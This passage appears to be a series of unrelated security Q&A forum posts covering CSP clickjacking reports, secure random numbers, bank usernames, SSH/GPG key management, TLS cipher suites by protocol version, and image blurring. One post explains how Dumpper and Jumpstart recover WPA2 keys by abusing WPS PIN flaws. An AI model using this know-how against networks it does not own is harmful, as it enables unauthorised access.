        "original-policy": "frame-ancestors 'self'; block-all-mixed-content; report-uri https://lidlcsp.report-uri.io/r/default/csp/enforce;",
        "blocked-uri": "https://www.lidl.de/"
    }
}

If you can reproduce the CSP violation or can trigger other violations I would be happy to learn about them.

Why is the "original policy" altered ('self' vs. https://www.lidl.de)? Does this make any difference?

'self' in the CSP actually stands for "same domain". It is just a placeholder, so this is evaluated by browsers to, in your case, https://www.lidl.de. That's exactly what you say the directive should do, it is just written in another way. So no, it does not make a difference.

  Why is this report sent? I can't reproduce it.

I am nearly sure that in 90% of these cases the answer is: browser add-ons. If you really cannot reproduce it with a clean profile and same browser/same site, it is very likely just a browser extension injecting respectively trying to inject some stuff. That is a very common source/trigger for CSP reports.

However, as it is the frame-ancestors directive in your case, you may easily be able to reproduce it. Just create an iframe trying to embed your site:

<iframe height="500" width="500" src="https://www.lidl.de"></iframe>

That should fail, and trigger the CSP report. Because that is what clickjacking is about: Your site getting embedded in another site, in such a way the user does not see it and clicks on things, the user did not want to click on.

I know Report-URI has some filters to prevent such reports caused by browser add-ons, but they still cannot catch all of them.

BTW:

  The part with frame-ancestors is to protect against clickjacking.

It does, but you may actually (better, or, even better: additionally) use the header X-Frame-Options for that purpose. This header was designed for that, and also works with browsers, who do not support CSP (it is older, in any case). See the security headers scan from the same author as Report-URI for more details. While you are at it, you may also have a look at the other security headers.


Generating a secret on a compromised computer Suppose we are on a compromised computer (for example infested with trojans logging key presses or taking screenshots) and for some reason we have to generate a number that's supposed to be secret for the purpose of using in a script.

Using ruby, when I do something like Random.new.rand, the random number generator is seeded with the current time, process ID and a sequence number. Considering the characteristics of these kinds of malware, can you think of any better sources of entropy we can introduce to the seed which are harder to capture?

If the machine is compromised - there is nothing that you can introduce to make it harder to capture - they own the box, the memory and the OS.

From what little I understand of Ruby as well the choice of Random is wrong for anything to be secured as it is only a pseudo-random number generator and instead you should be using SecureRandom.

With SecureRandom you won't need to try and find other sources of entropy.


Do account names need to be protected? I signed into my bank's website and they demanded I change my username because it was found on the web--duh, it's my name and I've been online since the old BBS days.  Huh?  Since when are account names something to be protected?
The rules presented for usernames included that it couldn't be part of my e-mail.  However, after rejecting (firstname)(lastname) their system suggested (firstname)_(lastname).  Is the latter really any more secure?
Is there reason behind this or is it just "cargo cult" behavior?

Different usernames
What I think the reason for that is to avoid credentials reuse across multiple websites. While probably you are aware of how passwords should be unique, a large number of bank customer are people older than 60, which are kind and not aware of issues like that.
No Firstname Lastname Usernames
I believe is because they try to avoid phishing. In case a user's username is Bill Mat and his email address is billmat@gmail.com, you give a scammer a good base to create a better phishing email. And like I said previously, people who get scammed by this type of attacks are old people, who unluckily are easy victims.


Which tool/key manager to manage people's public keys in organization? I'm not really an expert on different key types but here it goes. My company never really managed keys. We have an SKS server that was set up to manage GPG keys for a couple of users sending encrypted documents.

Now a new requirement has come up: all users logging into servers will have to use SSH keys (i.e. ssh-keygen, creating rsa keys) or to use services like git.

Can I manage/does it make sense to manage GPG and SSH keys in the same tool?
Is the existing SKS server the right tool to store these keys?

GPG and SSH are actually designed for different scenarios. GPG is typically used to identify the user so it would make sense for each user to only have one GPG keypair. However, SSH is typically designed to identify the client device - in other words you want each computer to have its its own SSH keypair.

Personally I use Lastpass to manage my GPG key, but NO SSH keys - my SSH private keys are never shared and never leave the clients they were generated on. I researched various password/key managers many years back (even answering some Lastpass questions here as well: answer 1, answer 2), and liked the Lastpass cloud approach for convenience, sharing of passwords with family members, and their approach seems secure.

One keypair per client. Each SSH client should generate its own SSH key pair, which should not be shared with any other device. So if I have a desktop computer and a laptop, they should each generate their own keypair. From a security perspective, it is best if the private key is never transmitted across a network or shared with any other device - it is only ever used by the device that generated it. This approach allows for scenarios where if you get a new laptop you can simply unregister the public key associated with the old laptop without affecting your desktop key.

Registration. You will need an alternative login mechanism to be able to add the public key of each client, presumably to the SKS server. Ideally, this alternative login mechanism should also be protected by a second factor.

SSH is commonly used by cloud git repositories such as github so you might find it helpful to see how it works there - particularly, the public key registration process.


Dumpper and Jumpstart for hacking WPS As asked in this question, there is a program called Dumpper. it can find PIN of AP without brute forcing them.

But with another tool called Jumpstart, together they can crack any AP that is running WPS feature.

It laterally bring the PSK of WPA2 within seconds "depending on signal strength".

I've read a lot about WPS flaws and other security issues, but I still don't know what exactly those two applications are doing.

How they can bring the PSK in such speed "not using any brute force"?

As the other question's answer said, Dumpper looks like it identifies the AP via its MAC address or other information exposed over the 802.11 protocol, then checks a database to work out if the default WPS key / seed generation algorithm is known. This is limited to APs whose firmware images have been reverse engineered and analysed.

Jumpstart just cracks the WPS pin by trying all of the possible combinations. This is much faster than trying to crack the WPA2 key itself. This isn't always possible, though, as many modern APs have WPS implementations with lockout periods to prevent bruteforcing.


TLS Version specific cipher suites I have come across that GCM, CCM, SHA-256 and SHA-384 Cipher suites are TLS 1.2 only. So TLS handshake can not be performed with lower TLS version using these suites.

I am trying to figure out supported cipher suites per protocol version (SSL v3, TLS 1.0, 1.1, 1.2) from this list
http://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-4
Are Cipher suites mentioned in TLS 1.1 RFC (https://tools.ietf.org/rfc/rfc4346.txt) supported by TLS 1.0 and SSL v3?
Similarly suites mentioned TLS 1.0 supported by SSL v3 and vice versa?

As an addon to Trey's answer:

I use the string ALL:COMPLEMENTOFALL when want I every cipher suite.
I use the -V (upper case V) option to make OpenSSL output the hex-IDs of the cipher suites.

Note: OpenSSL is not authoritative for answering these questions. IANA is. (But I couldn't get their CSV file parsed nicely.)
$ ./openssl version
OpenSSL 1.1.0-pre6-dev  xx XXX xxxx

$ ./openssl ciphers -V 'ALL:COMPLEMENTOFALL' | awk '{print $4}' | sort | uniq -c
     64 SSLv3
     24 TLSv1
     70 TLSv1.2

And there is a breakdown by protocol version below.
SSLv3
$ ./openssl ciphers -V 'ALL:COMPLEMENTOFALL' | sort | grep ' SSLv3 '
0x00,0x01 - NULL-MD5                SSLv3 Kx=RSA      Au=RSA  Enc=None      Mac=MD5
0x00,0x02 - NULL-SHA                SSLv3 Kx=RSA      Au=RSA  Enc=None      Mac=SHA1
0x00,0x07 - IDEA-CBC-SHA            SSLv3 Kx=RSA      Au=RSA  Enc=IDEA(128) Mac=SHA1
0x00,0x0A - DES-CBC3-SHA            SSLv3 Kx=RSA      Au=RSA  Enc=3DES(168) Mac=SHA1
0x00,0x13 - DHE-DSS-DES-CBC3-SHA    SSLv3 Kx=DH       Au=DSS  Enc=3DES(168) Mac=SHA1
0x00,0x16 - DHE-RSA-DES-CBC3-SHA    SSLv3 Kx=DH       Au=RSA  Enc=3DES(168) Mac=SHA1
0x00,0x1B - ADH-DES-CBC3-SHA        SSLv3 Kx=DH       Au=None Enc=3DES(168) Mac=SHA1
0x00,0x2C - PSK-NULL-SHA            SSLv3 Kx=PSK      Au=PSK  Enc=None      Mac=SHA1
0x00,0x2D - DHE-PSK-NULL-SHA        SSLv3 Kx=DHEPSK   Au=PSK  Enc=None      Mac=SHA1
0x00,0x2E - RSA-PSK-NULL-SHA        SSLv3 Kx=RSAPSK   Au=RSA  Enc=None      Mac=SHA1
0x00,0x2F - AES128-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(128)  Mac=SHA1
0x00,0x32 - DHE-DSS-AES128-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA1
0x00,0x33 - DHE-RSA-AES128-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA1
0x00,0x34 - ADH-AES128-SHA          SSLv3 Kx=DH       Au=None Enc=AES(128)  Mac=SHA1
0x00,0x35 - AES256-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA1
0x00,0x38 - DHE-DSS-AES256-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA1
0x00,0x39 - DHE-RSA-AES256-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA1
0x00,0x3A - ADH-AES256-SHA          SSLv3 Kx=DH       Au=None Enc=AES(256)  Mac=SHA1
0x00,0x41 - CAMELLIA128-SHA         SSLv3 Kx=RSA      Au=RSA  Enc=Camellia(128) Mac=SHA1
0x00,0x44 - DHE-DSS-CAMELLIA128-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(128) Mac=SHA1
0x00,0x45 - DHE-RSA-CAMELLIA128-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(128) Mac=SHA1
0x00,0x46 - ADH-CAMELLIA128-SHA     SSLv3 Kx=DH       Au=None Enc=Camellia(128) Mac=SHA1
0x00,0x84 - CAMELLIA256-SHA         SSLv3 Kx=RSA      Au=RSA  Enc=Camellia(256) Mac=SHA1
0x00,0x87 - DHE-DSS-CAMELLIA256-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(256) Mac=SHA1
0x00,0x88 - DHE-RSA-CAMELLIA256-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(256) Mac=SHA1
0x00,0x89 - ADH-CAMELLIA256-SHA     SSLv3 Kx=DH       Au=None Enc=Camellia(256) Mac=SHA1
0x00,0x8B - PSK-3DES-EDE-CBC-SHA    SSLv3 Kx=PSK      Au=PSK  Enc=3DES(168) Mac=SHA1
0x00,0x8C - PSK-AES128-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(128)  Mac=SHA1
0x00,0x8D - PSK-AES256-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(256)  Mac=SHA1
0x00,0x8F - DHE-PSK-3DES-EDE-CBC-SHA SSLv3 Kx=DHEPSK   Au=PSK  Enc=3DES(168) Mac=SHA1
0x00,0x90 - DHE-PSK-AES128-CBC-SHA  SSLv3 Kx=DHEPSK   Au=PSK  Enc=AES(128)  Mac=SHA1
0x00,0x91 - DHE-PSK-AES256-CBC-SHA  SSLv3 Kx=DHEPSK   Au=PSK  Enc=AES(256)  Mac=SHA1
0x00,0x93 - RSA-PSK-3DES-EDE-CBC-SHA SSLv3 Kx=RSAPSK   Au=RSA  Enc=3DES(168) Mac=SHA1
0x00,0x94 - RSA-PSK-AES128-CBC-SHA  SSLv3 Kx=RSAPSK   Au=RSA  Enc=AES(128)  Mac=SHA1
0x00,0x95 - RSA-PSK-AES256-CBC-SHA  SSLv3 Kx=RSAPSK   Au=RSA  Enc=AES(256)  Mac=SHA1
0x00,0x96 - SEED-SHA                SSLv3 Kx=RSA      Au=RSA  Enc=SEED(128) Mac=SHA1
0x00,0x99 - DHE-DSS-SEED-SHA        SSLv3 Kx=DH       Au=DSS  Enc=SEED(128) Mac=SHA1
0x00,0x9A - DHE-RSA-SEED-SHA        SSLv3 Kx=DH       Au=RSA  Enc=SEED(128) Mac=SHA1
0x00,0x9B - ADH-SEED-SHA            SSLv3 Kx=DH       Au=None Enc=SEED(128) Mac=SHA1
0xC0,0x06 - ECDHE-ECDSA-NULL-SHA    SSLv3 Kx=ECDH     Au=ECDSA Enc=None      Mac=SHA1
0xC0,0x08 - ECDHE-ECDSA-DES-CBC3-SHA SSLv3 Kx=ECDH     Au=ECDSA Enc=3DES(168) Mac=SHA1
0xC0,0x09 - ECDHE-ECDSA-AES128-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA1
0xC0,0x0A - ECDHE-ECDSA-AES256-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA1
0xC0,0x10 - ECDHE-RSA-NULL-SHA      SSLv3 Kx=ECDH     Au=RSA  Enc=None      Mac=SHA1
0xC0,0x12 - ECDHE-RSA-DES-CBC3-SHA  SSLv3 Kx=ECDH     Au=RSA  Enc=3DES(168) Mac=SHA1
0xC0,0x13 - ECDHE-RSA-AES128-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA1
0xC0,0x14 - ECDHE-RSA-AES256-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA1
0xC0,0x15 - AECDH-NULL-SHA          SSLv3 Kx=ECDH     Au=None Enc=None      Mac=SHA1
0xC0,0x17 - AECDH-DES-CBC3-SHA      SSLv3 Kx=ECDH     Au=None Enc=3DES(168) Mac=SHA1
0xC0,0x18 - AECDH-AES128-SHA        SSLv3 Kx=ECDH     Au=None Enc=AES(128)  Mac=SHA1
0xC0,0x19 - AECDH-AES256-SHA        SSLv3 Kx=ECDH     Au=None Enc=AES(256)  Mac=SHA1
0xC0,0x1A - SRP-3DES-EDE-CBC-SHA    SSLv3 Kx=SRP      Au=SRP  Enc=3DES(168) Mac=SHA1
0xC0,0x1B - SRP-RSA-3DES-EDE-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=3DES(168) Mac=SHA1
0xC0,0x1C - SRP-DSS-3DES-EDE-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=3DES(168) Mac=SHA1
0xC0,0x1D - SRP-AES-128-CBC-SHA     SSLv3 Kx=SRP      Au=SRP  Enc=AES(128)  Mac=SHA1
0xC0,0x1E - SRP-RSA-AES-128-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=AES(128)  Mac=SHA1
0xC0,0x1F - SRP-DSS-AES-128-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=AES(128)  Mac=SHA1
0xC0,0x20 - SRP-AES-256-CBC-SHA     SSLv3 Kx=SRP      Au=SRP  Enc=AES(256)  Mac=SHA1
0xC0,0x21 - SRP-RSA-AES-256-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=AES(256)  Mac=SHA1
0xC0,0x22 - SRP-DSS-AES-256-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=AES(256)  Mac=SHA1
0xC0,0x34 - ECDHE-PSK-3DES-EDE-CBC-SHA SSLv3 Kx=ECDHEPSK Au=PSK  Enc=3DES(168) Mac=SHA1
0xC0,0x35 - ECDHE-PSK-AES128-CBC-SHA SSLv3 Kx=ECDHEPSK Au=PSK  Enc=AES(128)  Mac=SHA1
0xC0,0x36 - ECDHE-PSK-AES256-CBC-SHA SSLv3 Kx=ECDHEPSK Au=PSK  Enc=AES(256)  Mac=SHA1
0xC0,0x39 - ECDHE-PSK-NULL-SHA      SSLv3 Kx=ECDHEPSK Au=PSK  Enc=None      Mac=SHA1

TLSv1
$ ./openssl ciphers -V 'ALL:COMPLEMENTOFALL' | sort | grep ' TLSv1 '
0x00,0xAE - PSK-AES128-CBC-SHA256   TLSv1 Kx=PSK      Au=PSK  Enc=AES(128)  Mac=SHA256
0x00,0xAF - PSK-AES256-CBC-SHA384   TLSv1 Kx=PSK      Au=PSK  Enc=AES(256)  Mac=SHA384
0x00,0xB0 - PSK-NULL-SHA256         TLSv1 Kx=PSK      Au=PSK  Enc=None      Mac=SHA256
0x00,0xB1 - PSK-NULL-SHA384         TLSv1 Kx=PSK      Au=PSK  Enc=None      Mac=SHA384
0x00,0xB2 - DHE-PSK-AES128-CBC-SHA256 TLSv1 Kx=DHEPSK   Au=PSK  Enc=AES(128)  Mac=SHA256
0x00,0xB3 - DHE-PSK-AES256-CBC-SHA384 TLSv1 Kx=DHEPSK   Au=PSK  Enc=AES(256)  Mac=SHA384
0x00,0xB4 - DHE-PSK-NULL-SHA256     TLSv1 Kx=DHEPSK   Au=PSK  Enc=None      Mac=SHA256
0x00,0xB5 - DHE-PSK-NULL-SHA384     TLSv1 Kx=DHEPSK   Au=PSK  Enc=None      Mac=SHA384
0x00,0xB6 - RSA-PSK-AES128-CBC-SHA256 TLSv1 Kx=RSAPSK   Au=RSA  Enc=AES(128)  Mac=SHA256
0x00,0xB7 - RSA-PSK-AES256-CBC-SHA384 TLSv1 Kx=RSAPSK   Au=RSA  Enc=AES(256)  Mac=SHA384
0x00,0xB8 - RSA-PSK-NULL-SHA256     TLSv1 Kx=RSAPSK   Au=RSA  Enc=None      Mac=SHA256
0x00,0xB9 - RSA-PSK-NULL-SHA384     TLSv1 Kx=RSAPSK   Au=RSA  Enc=None      Mac=SHA384
0xC0,0x37 - ECDHE-PSK-AES128-CBC-SHA256 TLSv1 Kx=ECDHEPSK Au=PSK  Enc=AES(128)  Mac=SHA256
0xC0,0x38 - ECDHE-PSK-AES256-CBC-SHA384 TLSv1 Kx=ECDHEPSK Au=PSK  Enc=AES(256)  Mac=SHA384
0xC0,0x3A - ECDHE-PSK-NULL-SHA256   TLSv1 Kx=ECDHEPSK Au=PSK  Enc=None      Mac=SHA256
0xC0,0x3B - ECDHE-PSK-NULL-SHA384   TLSv1 Kx=ECDHEPSK Au=PSK  Enc=None      Mac=SHA384
0xC0,0x94 - PSK-CAMELLIA128-SHA256  TLSv1 Kx=PSK      Au=PSK  Enc=Camellia(128) Mac=SHA256
0xC0,0x95 - PSK-CAMELLIA256-SHA384  TLSv1 Kx=PSK      Au=PSK  Enc=Camellia(256) Mac=SHA384
0xC0,0x96 - DHE-PSK-CAMELLIA128-SHA256 TLSv1 Kx=DHEPSK   Au=PSK  Enc=Camellia(128) Mac=SHA256
0xC0,0x97 - DHE-PSK-CAMELLIA256-SHA384 TLSv1 Kx=DHEPSK   Au=PSK  Enc=Camellia(256) Mac=SHA384
0xC0,0x98 - RSA-PSK-CAMELLIA128-SHA256 TLSv1 Kx=RSAPSK   Au=RSA  Enc=Camellia(128) Mac=SHA256
0xC0,0x99 - RSA-PSK-CAMELLIA256-SHA384 TLSv1 Kx=RSAPSK   Au=RSA  Enc=Camellia(256) Mac=SHA384
0xC0,0x9A - ECDHE-PSK-CAMELLIA128-SHA256 TLSv1 Kx=ECDHEPSK Au=PSK  Enc=Camellia(128) Mac=SHA256
0xC0,0x9B - ECDHE-PSK-CAMELLIA256-SHA384 TLSv1 Kx=ECDHEPSK Au=PSK  Enc=Camellia(256) Mac=SHA384

TLS1.2
$ ./openssl ciphers -V 'ALL:COMPLEMENTOFALL' | sort | grep ' TLSv1.2 '
0x00,0x3B - NULL-SHA256             TLSv1.2 Kx=RSA      Au=RSA  Enc=None      Mac=SHA256
0x00,0x3C - AES128-SHA256           TLSv1.2 Kx=RSA      Au=RSA  Enc=AES(128)  Mac=SHA256
0x00,0x3D - AES256-SHA256           TLSv1.2 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA256
0x00,0x40 - DHE-DSS-AES128-SHA256   TLSv1.2 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA256
0x00,0x67 - DHE-RSA-AES128-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA256
0x00,0x6A - DHE-DSS-AES256-SHA256   TLSv1.2 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA256
0x00,0x6B - DHE-RSA-AES256-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA256
0x00,0x6C - ADH-AES128-SHA256       TLSv1.2 Kx=DH       Au=None Enc=AES(128)  Mac=SHA256
0x00,0x6D - ADH-AES256-SHA256       TLSv1.2 Kx=DH       Au=None Enc=AES(256)  Mac=SHA256
0x00,0x9C - AES128-GCM-SHA256       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(128) Mac=AEAD
0x00,0x9D - AES256-GCM-SHA384       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(256) Mac=AEAD
0x00,0x9E - DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(128) Mac=AEAD
0x00,0x9F - DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(256) Mac=AEAD
0x00,0xA2 - DHE-DSS-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(128) Mac=AEAD
0x00,0xA3 - DHE-DSS-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(256) Mac=AEAD
0x00,0xA6 - ADH-AES128-GCM-SHA256   TLSv1.2 Kx=DH       Au=None Enc=AESGCM(128) Mac=AEAD
0x00,0xA7 - ADH-AES256-GCM-SHA384   TLSv1.2 Kx=DH       Au=None Enc=AESGCM(256) Mac=AEAD
0x00,0xA8 - PSK-AES128-GCM-SHA256   TLSv1.2 Kx=PSK      Au=PSK  Enc=AESGCM(128) Mac=AEAD
0x00,0xA9 - PSK-AES256-GCM-SHA384   TLSv1.2 Kx=PSK      Au=PSK  Enc=AESGCM(256) Mac=AEAD
0x00,0xAA - DHE-PSK-AES128-GCM-SHA256 TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESGCM(128) Mac=AEAD
0x00,0xAB - DHE-PSK-AES256-GCM-SHA384 TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESGCM(256) Mac=AEAD
0x00,0xAC - RSA-PSK-AES128-GCM-SHA256 TLSv1.2 Kx=RSAPSK   Au=RSA  Enc=AESGCM(128) Mac=AEAD
0x00,0xAD - RSA-PSK-AES256-GCM-SHA384 TLSv1.2 Kx=RSAPSK   Au=RSA  Enc=AESGCM(256) Mac=AEAD
0x00,0xBA - CAMELLIA128-SHA256      TLSv1.2 Kx=RSA      Au=RSA  Enc=Camellia(128) Mac=SHA256
0x00,0xBD - DHE-DSS-CAMELLIA128-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=Camellia(128) Mac=SHA256
0x00,0xBE - DHE-RSA-CAMELLIA128-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=Camellia(128) Mac=SHA256
0x00,0xBF - ADH-CAMELLIA128-SHA256  TLSv1.2 Kx=DH       Au=None Enc=Camellia(128) Mac=SHA256
0x00,0xC0 - CAMELLIA256-SHA256      TLSv1.2 Kx=RSA      Au=RSA  Enc=Camellia(256) Mac=SHA256
0x00,0xC3 - DHE-DSS-CAMELLIA256-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=Camellia(256) Mac=SHA256
0x00,0xC4 - DHE-RSA-CAMELLIA256-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=Camellia(256) Mac=SHA256
0x00,0xC5 - ADH-CAMELLIA256-SHA256  TLSv1.2 Kx=DH       Au=None Enc=Camellia(256) Mac=SHA256
0xC0,0x23 - ECDHE-ECDSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA256
0xC0,0x24 - ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA384
0xC0,0x27 - ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA256
0xC0,0x28 - ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA384
0xC0,0x2B - ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(128) Mac=AEAD
0xC0,0x2C - ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD
0xC0,0x2F - ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(128) Mac=AEAD
0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
0xC0,0x72 - ECDHE-ECDSA-CAMELLIA128-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=Camellia(128) Mac=SHA256
0xC0,0x73 - ECDHE-ECDSA-CAMELLIA256-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=Camellia(256) Mac=SHA384
0xC0,0x76 - ECDHE-RSA-CAMELLIA128-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=Camellia(128) Mac=SHA256
0xC0,0x77 - ECDHE-RSA-CAMELLIA256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=Camellia(256) Mac=SHA384
0xC0,0x9C - AES128-CCM              TLSv1.2 Kx=RSA      Au=RSA  Enc=AESCCM(128) Mac=AEAD
0xC0,0x9D - AES256-CCM              TLSv1.2 Kx=RSA      Au=RSA  Enc=AESCCM(256) Mac=AEAD
0xC0,0x9E - DHE-RSA-AES128-CCM      TLSv1.2 Kx=DH       Au=RSA  Enc=AESCCM(128) Mac=AEAD
0xC0,0x9F - DHE-RSA-AES256-CCM      TLSv1.2 Kx=DH       Au=RSA  Enc=AESCCM(256) Mac=AEAD
0xC0,0xA0 - AES128-CCM8             TLSv1.2 Kx=RSA      Au=RSA  Enc=AESCCM8(128) Mac=AEAD
0xC0,0xA1 - AES256-CCM8             TLSv1.2 Kx=RSA      Au=RSA  Enc=AESCCM8(256) Mac=AEAD
0xC0,0xA2 - DHE-RSA-AES128-CCM8     TLSv1.2 Kx=DH       Au=RSA  Enc=AESCCM8(128) Mac=AEAD
0xC0,0xA3 - DHE-RSA-AES256-CCM8     TLSv1.2 Kx=DH       Au=RSA  Enc=AESCCM8(256) Mac=AEAD
0xC0,0xA4 - PSK-AES128-CCM          TLSv1.2 Kx=PSK      Au=PSK  Enc=AESCCM(128) Mac=AEAD
0xC0,0xA5 - PSK-AES256-CCM          TLSv1.2 Kx=PSK      Au=PSK  Enc=AESCCM(256) Mac=AEAD
0xC0,0xA6 - DHE-PSK-AES128-CCM      TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESCCM(128) Mac=AEAD
0xC0,0xA7 - DHE-PSK-AES256-CCM      TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESCCM(256) Mac=AEAD
0xC0,0xA8 - PSK-AES128-CCM8         TLSv1.2 Kx=PSK      Au=PSK  Enc=AESCCM8(128) Mac=AEAD
0xC0,0xA9 - PSK-AES256-CCM8         TLSv1.2 Kx=PSK      Au=PSK  Enc=AESCCM8(256) Mac=AEAD
0xC0,0xAA - DHE-PSK-AES128-CCM8     TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESCCM8(128) Mac=AEAD
0xC0,0xAB - DHE-PSK-AES256-CCM8     TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESCCM8(256) Mac=AEAD
0xC0,0xAC - ECDHE-ECDSA-AES128-CCM  TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESCCM(128) Mac=AEAD
0xC0,0xAD - ECDHE-ECDSA-AES256-CCM  TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESCCM(256) Mac=AEAD
0xC0,0xAE - ECDHE-ECDSA-AES128-CCM8 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESCCM8(128) Mac=AEAD
0xC0,0xAF - ECDHE-ECDSA-AES256-CCM8 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESCCM8(256) Mac=AEAD
0xCC,0xA8 - ECDHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH     Au=RSA  Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xA9 - ECDHE-ECDSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xAA - DHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=DH       Au=RSA  Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xAB - PSK-CHACHA20-POLY1305   TLSv1.2 Kx=PSK      Au=PSK  Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xAC - ECDHE-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=ECDHEPSK Au=PSK  Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xAD - DHE-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xAE - RSA-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=RSAPSK   Au=RSA  Enc=CHACHA20/POLY1305(256) Mac=AEAD

Couldn't get IANA-file to parse.
This here was my initial attempt to break this down by version. Not good to read.
This is a breakdown by the column in the CSV-file that points to the defining document. Unfortunately they do not align nicely with the individual protocol versions. (Manually annotated by me after the # hash mark.) Also: TLSv1.0 (RFC2246) is not even listed.
$ lynx --dump https://www.iana.org/assignments/tls-parameters/tls-parameters-4.csv | sed 's_^[^[][^[]*\[_\[_p' -n | sort | uniq -c
      1 [Pasi Eronen, <pasi.eronen&nokia.com>, 2008-04-04.  2008-04-04]"
      4 [Pasi_Eronen]
     10 [RFC2712]
      4 [RFC2712][RFC6347]
      6 [RFC4162]
      9 [RFC4279]
      3 [RFC4279][RFC6347]
      7 [RFC4346]   # <- TLS 1.1
      2 [RFC4346][RFC6347]
     20 [RFC4492]
      5 [RFC4492][RFC6347]
      3 [RFC4785]
      9 [RFC5054]
     36 [RFC5246]   # <- TLS 1.2
      3 [RFC5246][RFC6347]
     12 [RFC5288]
     16 [RFC5289]
      7 [RFC5469]
     18 [RFC5487]
      8 [RFC5489]
      1 [RFC5489][RFC6347]
      1 [RFC5746]
     24 [RFC5932]
     54 [RFC6209]
     42 [RFC6367]
     16 [RFC6655]
      4 [RFC7251]
      1 [RFC7507]
      7 [RFC7905]


Is image blurring an unsafe method to obfuscate information in images? Is image blurring an unsafe method to obfuscate information in images?

I.e., is it possible to "de-blur" the image, if you know the algorithm and the setting, or by trial & error?

For instance, the image below is the Google logotype blurred with the Photoshop CS6 Gaussian Blur filter @ a radius of 59.0 pixels.

For the naked eye, it could be difficult to figure out the blurred content. But could the blurring be "reverse engineered" to reveal the original image, or at least something that is recognizable?

Is it possible to "de-blur" the image, if you know the algorithm and
  the setting, or by trial & error?

